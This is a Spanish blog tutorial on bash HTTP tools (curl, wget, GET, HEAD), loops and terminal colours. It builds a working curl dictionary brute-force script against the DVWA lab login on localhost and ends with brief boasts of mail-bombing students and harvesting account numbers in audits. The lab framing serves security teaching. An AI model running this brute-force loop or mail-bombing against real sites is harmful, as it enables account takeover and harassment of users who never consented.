Advertencia: Estimado lector, este post puede ser muy largo y CORRE EL PELIGRO DE APRENDER ALGO. Si usted es del tipo de usuarios (Next,Next,Next,Finish) le recomiendo mejor bajarse LOIC para DoS y otros programas de bruteforce.
<< Contexto >>
Antes de empezar a ver todo esto quiero explicar algunos motivos de la entrada del dia de hoy. Hace unas semanas me di cuenta (tarde) de que estuve sufriendo un ataque de Denegación de Servicio, cuando lo vi, me puse en modo de Defensa *Feel like a Ninja* al final “mis amigos” del trabajo me mandan la siguiente foto:
Este fue el regalo que me ofrecieron por los tres años que cumplio Neobits.org Pero sin desviarnos lo que me interesa vean es la imagen.Por lo que recuerdo podría decir que; Lo encerrado en rojo es una ASUS con Linux Mint KDE, la computadora de en medio es una maquina con Windows 7, y la Mac con Windows 8 corriendo varias consolas con Powershell.
Lo que hicieron fueron muchas consultas con cURL, Wget y PowerShell, pero como pueden ver en las imágenes, mandan mucha basura a stdout (Lo cual es completamente innecesario).
A raíz de esto, se me ocurrió mostrar como podemos hacer este tipo de cosas, pero mas elegantes y funcionales =)
¡Empecemos!
Iremos paso por paso explicando todo y al final lo usaremos en un caso real
1 .- Aprender a realizar consultas
Lo primero es aprender a usar los programas que bash nos ofrece para realizar consultas. La mayoria usa wget, pero NO SOLO EXISTE ese, existen varios y mucho mejores para ciertas tareas. Así que veremos 4 aqui. wget,curl,GET,HEAD.
wget: en el tiempo que llevo en linux, me di cuenta que varios admins usan wget para hacer consultas, mandar a un fichero, a stdout, ver respuesta del servidor o para hacer POST. Si bien wget nos sirve para todo esto, no quiere decir que wget sea el mas adecuado para cada uno de estos. Para mi, wget me sirve cuando quiero bajar rápidamente un archivo (Así de fácil y sencillo).
Si yo llamo wget y pongo un argumento (URL) lo consultara, me mostrara datos de transferencia y respuesta del servidor y lo bajara con el nombre por default de la respuesta que obtenga.
1 | wget neobits.org |
Sin embargo veo que muchos Administradores de red quieren verlo en stdout en lugar de guardarlo y para ello hacen cosas así:
1 | wget -qO- neobits.org |
Lo que hacen aquí es que no muestre los datos de transferencia (-q quiet) y que en lugar de guardalo por default, le de una salida especifica (-O output), la cual es “-” que significa a stdout. Bien el siguiente comando significa lo mismo que el de arriba.
1 | wget -q neobits.org -O /dev/stdout |
Esto aunque funciona, ya no es lo mas adecuado.
curl: Curl ES MI FAVORITO!! Si, lean de nuevo; CURL ES MI FAVORITO. ¿Por qué? Por que curl me permite hacer lo que todos los demas de una manera muy fácil. Las 2 ventajas de curl que yo veo principalmente es que podemos consultar una pagina, y POR DEFAULT nos la manda a STDOUT, osea que en lugar de poner todo el comando de arriba de wget, solo tenemos que hacer:
1 | curl neobits.org |
Y es todo. Facilísimo verdad? No se por que muchos admins siguen usando wget para eso. Si curl lo hace de una manera bastante sencilla. Al igual que wget, curl nos muestra datos de transferencia, eso lo podemos evitar con el parametro “-s” y si queremos mandar la salida a un archivo no tenemos que usar un parametro especifico como en wget -O. Aqui solo hacemos una redireccion interna de bash. “>”
1 | curl -s neobits.org > salida.txt |
Sin embargo lo mas atractivo de curl para mi, es mandar datos via POST y lo sencillo que es =) Veamos un ejemplo.
Digamos queremos convertir la palabra “hecky” a binario, para ello usaremos un servicio online como este que me encanta: http://www.yellowpipe.com/yis/tools/encrypter/index.php
Lo primero que tenemos que hacer es identificar los valores que tenemos que enviar, entonces si vemos el codigo fuente veremos lo siguiente:
Identificamos:
1 2 3 4 5 | text=AquiElTexto << El texto que enviaremos cryptmethod=asc2bin << La opción que deseamos (ASCII to Bin) submit=OK << A veces curl no lo manda si no se envia el submit |
Eso es todo lo que necesitamos. Ahora enviemoslo con curl.
Para enviar con curl es muy sencillo, solo debemos decirle a que archivo es la consulta, y con le parametro “-d” se envia por post, los valores los separamos con “&”
1 | curl -s http://www.yellowpipe.com/yis/tools/encrypter/index.php -d "text=hecky&cryptmethod=asc2bin&submit=OK" |
Dificil? Para nada verdad? Al contrario, es super util, comparen eso y vean como se envia con wget y veran que se hace muy grande. En este comando agregamos el “egrep [01]{8}” para que solo nos mostrara la expresión regular que tenga 0 o 1 y sea de longitud 8. Ahora cada vez que quiera ver el binario de una cadena, solo tengo que cambiar el valor de “text” y listo!! =)
Ahora comparen eso con PHP o JAVA etc…y veran lo feo que es enviar datos POST (Si en este punto no empiezan a amar Bash, favor de salir de la pagina ¬¬ =P) Por estas cosas es que Curl es mi favorito
Y aunque curl puede hacer MUCHISIMAS COSAS Más, eso ya no lo veremos hoy.
GET: (Noten que GET se escribe con MAYUSCULA)Podriamos decir que get por default hace lo mismo que curl, consulta una página y la manda a stdout; Entonces ¿por qué diantres usaria GET? Principalmente tiene 2 ventajas.
- Por que curl en algunos sistemas NO viene por default, y GET si =)
- Por que GET por default sigue e interpreta las respuestas del servidor. Y curl no!! Para eso curl tendria que tener el parametro “-L“
Ejemplo: Digamos que consultamos http://neobits.org/wp-includes noten que wp-includes es un directorio, no un archivo. Sin embargo aqui lo ponemos como archivo, para que se note que es un directorio le hace falta una “diagonal /” y tendria que ser http://neobits.org/wp-includes/ Esto los navegadores en ciertas ocasiones automaticamente lo redireccionan. Pero vemos que pasa con curl y GET:
1 | curl http://neobits.org/wp-includes |
Vemos como curl no resuelve automáticamente este error. Esto se solventa con “-L” o “–location” pero GET si lo resuelve…Veamos:
Aqui vemos como ambos lo resuelve exitosamente, a diferencia que GET lo hace por default
HEAD: Es excepcional para las respuestas del servidor, ademas de todas las demás cabeceras. Aunque tanto como wget, GET, y curl nos pueden proporcionar esta información con HEAD es mas rápido.
ATENCIÓN: No confundir HEAD con head….HEAD nos muestra las cabeceras de respuesta del servidor de una consulta. y head es el comando que nos muestra las 10 primeras lineas (por default) de un archivo.
Ahora, cada programa tiene muchas mas opciones para explotar, como soportar ssl, autenticación basica, mandar cabeceras, cookies, etc…Recomiendo estudiarlos a fondo.
Estos son los 4 programas principales para consultas que yo uso, pero hay muchas maneras de hacer diversas cosas como:
1 2 3 4 5 6 7 8 9 10 11 | echo -n "GET / HTTP/1.0rnrn" | nc host.example.com 80 lynx -source neobits.org w3m -dump_source www.neobits.org Para escanear puertos: echo </dev/tcp/neobits.org/80 nmap neobits.org -p 80 |
etc…Obviamente varios de estos programas necesitan ser instalados.
Bien creo ya tenemos lo básico para hacer consultas, y enviar datos. Ahora sigamos por lo que venimos.
2.-Bucles
Ahora vamos a meternos con bucles. En varias entradas de Neobits.org ya escribi sobre bucles, por lo que no me detendre mucho.
Infinitos: Estos nos interesan mucho, veamos algunas formas de realizarlos.
1 2 3 4 5 6 7 | for ((;;));do echo ".";done while true;do echo ".";done while :;do echo ".";done $a=1;until [ $a ];do echo ".";done |
For: For es de los mas utiles que tenemos. Veamos como realizar cosas.
Estilo C
1 | for ((i=1;i<=10;i++));do echo $i;done |
Abreviado
1 | for i in {1..10};do echo $i;done |
Lista de elementos
Esta es la mas util y lo que mas usaremos. En esta manera nos permite pasarle una lista de elementos (Puede ser un comando) y se le aplicara algo.
Ej: Digamos que tenemos algunos archivos con un nombre y extensión “.jpg” queremos verificar si realmente son archivos jpg con el comando file.
1 | for i in $(ls *.jpg);do echo $i && file $i && echo "";done |
Lo que hacemos es que para cada archivo que termine en .jpg (ls *.jpg), imprimiremos el nombre del archivo, seguido de verificar que tipo de archivo es, y ponemos un salto de linea
Profundizaremos mas adelante en esto.
3.-Sentencia de Control
if: Tenemos que saber como usar if, en bash. Notese que se cierra con un “;fi”
if ;then ;else ;fi
Veamos un pequeño script para ver que numeros del 1 al 20 son pares:
Creamos un bucle del 1 al 20 con for (como se desee de las formas anteriormente vistas), despues para cada numero verificamos su modulo de la siguiente manera $(bc <<<$i%2) y si el modulo es igual a cero ( -eq 0), nos imprima si el numero es par.
1 | for i in {1..20};do if [ $(bc <<<$i%2) -eq 0 ];then echo "$i es par";fi;done |
4.-Colores
Veamos algo de colores en bash y al estilo de “Neobits” =)
De repente ver cosas así asustan a uno:
1 | echo -e "\n\nColores\e[36m\nAzul y \e[m\e[41mRojo Remarcado\e[m\n" |
Pero vamos poco a poco, para explicarlo “IMAGINEMOS” que para poner esto lo usaremos tipo tags de HTML:
<Iniciacolor> </Terminacolor>
\e[COLORm \e[m
Entonces:
<IniciaColor> == \e[COLORm
Donde:
COLOR = sera un par de numeros que ahora veremos...
</TerminaColor> == \e[m
Entoces podemos traducir (IMAGINANDO) lo de arriba en:
1 | echo -e "\n\nColores<IniciaColor=36>\nAzul y </TerminaColor><IniciaColor=41>Rojo Remarcado</TerminaColor>\n" |
Mucho mejor ¿No? Los "\n" son saltos de linea normales. En si el "\e" significa carácter de escape. Mientras la "m" termina cada termino de la secuencia de escape.
Ahora que ya sabemos como definir un color, veamos que colores y estilos podemos aplicar.
Estilos
Los de arriba son de los estilos mas importantes que veremos. Y veamos como aplicamos algunos.
Y claro las combinaciones no falta…Pongamos una texto en “Negrita,Tachado,Subrayado y Negativo” Las combinaciones son solamente separadas con un punto y coma “;”
1 | echo -e "\e[1;4;7;9mTEXT\e[m" |
Combinamos el 1;4;7;9
1 Negrita
4 Subrayado
7 Negativo
9 Tachado
Ahora si los colores.
La tabla de arriba nos dice que el color de texto va del 30-37 y como imaginan el 30 es negro, el 31 rojo, 32 verde….y 37 es blanco. El 39 es el color por default que manejan en su consola (Buen momento para decir que yo uso gnome-terminal).
Y el color de fondo se puede poner con los valores del 40-47…Veamos un ejemplo de un color de texto Amarillo y un de fondo un rojo. (A esta altura ya saben como hacer la combinación)
1 | echo -e "\e[33;41m=')\e[m" |
Y ya para acabar con los colores un ultimo ejemplo de lo que podriamos hacer (Aunque a algunos no les parezca muy útil ahora, después lo veremos
)
1 | for i in {1..20};do if [ $(bc <<<$i%2) -eq 0 ];then echo -e "\t\e[1;4;33;40m$i\e[m\e[1;37m es \e[m\e[1;7;31mPAR\e[m";else echo -e "\t\e[1;7;4;33;40m$i\e[m\e[1;37m es \e[m\e[1;36mIMPAR\e[m" ;fi;done |
Este comando ya no me detendré en explicarlo, se los dejo de tarea
Solo sigan las tablas y verán lo fácil que es.
Mas info:
_______________________________________________________________________________
Listo, ya tenemos las nociones de TODO lo básico que usaremos =)
Ahora empecemos a usar lo que aprendimos =).
Primer script para un “BruteForce casero” (via GET)
Ahora veamos un ejemplo ya en “vivo”. En este ejemplo (para no afectar ninguna web) usare mi propio servidor local (lampp) y usare la famosa plataforma para probar vulnerabilidades web (Damn Vulnerable Web App – DVWA) y en especifico usare el apartado de bruteforce.
Para no hacer mas larga la entrada no entrare en detalles de como instalar el servidor lampp ni la plataforma.Para ello favor de remitirse a los siguientes links:
Imaginando que ya tenemos instalado y configurado todo (Yo usare el nivel de seguridad medio), nos iremos a la parte de bruteforce e intentaremos aquí nuestro ataque.
NOTA: Para no hacer esto muy largo, usaremos el usaremos el usuario valido que es gordonb, ya solo debemos encontrar su contraseña.
Pasos a seguir:
- Identificar método de envío/campos / Identificar error
- Identificar Cookie
- Hacer el script de bruteforce
- Personalizar Script
Identificando método de envío/ campos / Error
Lo primero que haremos sera poner valores aleatorios en el Username y Password para ver de que forma se comporta la plataforma. Pongamos Hola y 123 (respectivamente)
Al enviarlo nos regresara Tres cosas muy valiosas.
- El metodo es GET (Lo comprobamos por que vemos los parametros en la URL)
- Los parametros que se envian son: (username,password,Login)
- El error que devuelve si es incorrecto es: “Username and/or password incorrect.“
Identificando Cookie
En algunos casos, los sistemas nos forzaran a tener una cookie valida que compruebe estemos autenticados en el sistema, para poder hacer nuestras pruebas. Este es el caso con DVWA, ya que nos crea una sesión y señala el nivel de seguridad en el que estamos (recuerden yo lo configure en el nivel medio).
Podemos sacar la cookie de una manera muy sencilla simplemente poniendo en la barra del navegador esto:
1 | javascript:alert(document.cookie); |
Y obtendremos la cookie:
Hacer el Script de BruteForce
Y por fin (después de tanta lectura) podemos hacer nuestro script FÁCILMENTE y entendiendo todo. Pero una ultima cosa antes…debido a que es un ataque de bruteforce necesitamos ir creando las letras, o en este caso usaremos un diccionario mejor. Pueden buscarse uno, en internet existen varios, de varios Gb. O en mi caso usare el que viene por default en nuestro sistema. Lo podemos encontrar en /usr/share/dict/american-english
Así que un script funcional podría ser el siguiente:
1 | for i in $(cat /usr/share/dict/american-english);do if curl -sb "security=medium; PHPSESSID=c2u0nsk966q3r4tn47ne2j7gq5" "http://127.0.0.1/dvwa/vulnerabilities/brute/?username=gordonb&password=$i&Login=Login#" | grep -q "incorrect";then echo -n ".";else echo -e "\n\e[31;43mPassword: $i\e[m" && break;fi;done |
Ya lo entienden verdad? Veamos que hacemos rapidamente:
Ponemos un ciclo for y por cada línea de nuestro diccionario; hacemos una consulta con curl de manera silenciosa (-s) mandamos nuestra cookie (-b) y hacemos la consulta a la pagina especificada, y como es por método GET, en la url ponemos nuestra iteración “username=gordonb&password=$i&Login=Login“; a la respuesta buscamos (grep) de manera silenciosa (-q) la palabra “incorrect“, si la encontramos (if;then) escribimos un punto (echo). De lo contrario (else;fi) Imprimimos (echo) con colores bonitos el passrord “Password $i” y terminamos el ciclo “break“
Vamos bien, pero este pequeño script podemos mejorarlo y hacerlo mas “Pro” ¿Cómo? Supongamos que se nos val la conexión de Internet y ya llevábamos un buen rato, ¿Cómo sabemos donde nos quedamos? o ¿Empezamos desde el principio? Seria bueno ir llevando algún tipo de cuenta/separador. Y por que no también hacemos algo mas llamativo que nos avise cuando encuentre el password.
Agregando un contador de 1000 en 1000
Para esta tarea usaremos una variable “num=1″ que inicializaremos en 1 y cada vez que entre en el ciclo se aumentara en 1 ((num++)), y dentro del ciclo meteremos un if que nos comprobara si el modulo del numero/1000 es 0, nos imprimira el numero. Esto quiere decir que nos mostrara el numero cada 1000 veces.
1 | num=1; for i in $(cat /usr/share/dict/american-english);do if curl -sb "security=medium; PHPSESSID=c2u0nsk966q3r4tn47ne2j7gq5" "http://127.0.0.1/dvwa/vulnerabilities/brute/?username=gordonb&password=$i&Login=Login#" | grep -q "incorrect";then if [ 0 -eq $(echo "$num%1000"|bc) ];then echo -e "\e[4;32m\n$num\e[m";else echo -en "\e[1;37m.\e[m";fi;else echo -e "\n\e[31;43mPassword: $i\e[m" && break;fi;((num++));done |
Bueno esto ya es mas visible ¿Nó?, ahora terminemos con un “notificador”
Notificación
En mi caso usare el programa notify-send, pero pueden usar otros como zenity. Lo único que haré sera que aparte de imprimirlo en consola, me lo mande en un globo de notificación, me preguntarán y ¿Esto para qué es útil? Fácil, es útil por que así lo dejamos trabajando en otro escritorio (Yo uso 10) y podemos trabajar en otra cosa, y cuando acabe seremos fácilmente notificados.
Se acomodara antes del break y lo usaremos así:
1 | notify-send "El Password es: $i" -i /usr/share/pixmaps/gksu-root-terminal.png -t 10000 |
Donde:
- -i Es para poner un icono, yo elegí uno del sistema
- -t Es para definir el tiempo que la notificación durará
Al final nuestro super script de bruteforce nos queda de la siguiente forma:
1 | num=1; for i in $(cat /usr/share/dict/american-english);do if curl -sb "security=medium; PHPSESSID=c2u0nsk966q3r4tn47ne2j7gq5" "http://127.0.0.1/dvwa/vulnerabilities/brute/?username=gordonb&password=$i&Login=Login#" | grep -q "incorrect";then if [ 0 -eq $(echo "$num%1000"|bc) ];then echo -e "\e[4;32m\n$num\e[m";else echo -en "\e[1;37m.\e[m";fi;else echo -e "\n\e[1;36mPassword: $i\e[m" && notify-send "El Password es: $i" -i /usr/share/pixmaps/gksu-root-terminal.png -t 10000 && break;fi;((num++));done |
Lo se, lo se..Se ve demasiado aparatoso, pero; ¿Verdad que no lo es? Ya que entendemos cada parte que lo compone es muy sencillo. Y al final obtendremos una respuesta MUY SATISFACTORIA:
Comprobamos….Y….Lo logramos…
*Si llegaste hasta aqui, ¡FELICIDADES!* seguro haz aprendido algo…De aquí en adelante ya no es tutorial, solo mostrare lo que yo en lo personal he conseguido, en algunas auditorias.
Claro está que no puedo dar muchos detalles por cuestiones obvias.
.- Envio masivo de mails “MailBomber” a cualquier alumno de la institución.
.- Obtención de números de cuentas por bruteforce
.- Obtención de números de cuentas y nombres de otra Facultad
Bueno, como vemos este tema tiene MUCHOS usos.
Una pregunta muy importante es:
¿Por que Me sirve aprender a realizar este tipo de ataques manualmente?
La respuesta es sencilla; Por que muchos de los programas que existen para ataques de diccionario o de BruteForce están pensados para atacar servicios (SSH,FTP,etc…) Pero realizar esto manualmente nos abre muchos caminos para varias cosas como:
- Identificar Usuarios
- Sacar contraseñas
- Obtener Imágenes
- Hacer mailbombers
- Obtener Información confidencial
- Hacer denegaciones de Servicio (No visto aquí, ya que me retracte al no verle un uso útil, mas aún es un ataque muy molesto)
- Pruebas de Estres
- etc…
Sin querer alargar mas este post (que podría hacer una parte 2, si así lo piden), creo que deje todo explicado a mi parecer. Creo que con todo esto ya no hay un formulario que les sea rival.
Y Dentro de lo que quería dejarles, era que vieran que a veces aunque estos bash scripts parecen muy difíciles de entender, realmente son sencillos separando y conociendo cada uno de sus componentes.
Bueno sin mas espero les agradara esta “pequeña” guía, que la verdad si fue bastante trabajo escribirla. Espero les agradara, y espero sus comentarios. Y ¿Qué les pareció la guia?
Saludos ![]()
hecky@neobits.org
Sigueme en Twitter: http://twitter.com/hecky

-
http://twitter.com/hecky/status/238465789051682816/ hecky (@hecky)
-
http://twitter.com/FrankSanabria Frank Sanabria
-
Blozzter
-
http://twitter.com/ThanosMX/status/238504477806690304/ @ThanosMX
-
Ramros
-
Linux
-
http://neobits.org hecky
-
http://twitter.com/jcStban/status/238685487244644353/ @jcStban
-
http://twitter.com/4v4t4r/status/238702528794071041/ @4v4t4r
-
Carlos Arango (fasttiger)
-
http://neobits.org hecky
-
-
http://twitter.com/UrbaN77/status/238812782991118336/ @UrbaN77
-
UrbaN77
-
http://neobits.org hecky
-
-
Elz00rro
-
http://neobits.org hecky
-
-
http://twitter.com/eepica/status/238840021313024000/ @eepica
-
http://twitter.com/newbie_geek/status/238859263261409282/ @newbie_geek
-
Bobby67
-
http://neobits.org hecky
-
-
http://twitter.com/M1ndCr4ck/status/238871010781306880/ @M1ndCr4ck
-
http://twitter.com/avacgt/status/238922574355132416/ @avacgt
-
http://twitter.com/abisora/status/239028090150481920/ @abisora
-
http://twitter.com/aperezalbela/status/239480542997905408/ @aperezalbela
-
http://twitter.com/jjtermico/status/239645662415831040/ @jjtermico
-
http://twitter.com/dvastazion/status/240167895836016640/ @dvastazion
-
http://twitter.com/ewager/status/240430489742217216/ @ewager
-
http://twitter.com/45p1d4_16n15/status/240518856219701248/ @45p1d4_16n15
-
Asd
-
http://neobits.org hecky
-
Asd
-
-
-
http://twitter.com/DragonJAR/status/244985070425890816/ @DragonJAR
-
Recp
-
http://neobits.org hecky
-
-
http://twitter.com/th3hutt Th3Hutt
-
http://neobits.org hecky
-
-
http://www.facebook.com/profile.php?id=100000184150320 Julio Oliva
-
http://www.facebook.com/profile.php?id=100000184150320 Julio Oliva
-
Ramirez D
-
Rapcx1981
-
http://neobits.org hecky
-
http://www.facebook.com/swtsecuritty Systcm Swt
-
Sabroosabr
-
http://neobits.org hecky
-
-
http://twitter.com/karmanyNET/status/262980850512191488/ @karmanyNET
-
http://twitter.com/ivan_herazo/status/271804599915126784/ @ivan_herazo
-
rodrigo
-
http://twitter.com/ImBuzu/status/279801055322206209/ @ImBuzu
-
http://twitter.com/aetsu/status/287385378846044160/ @aetsu

































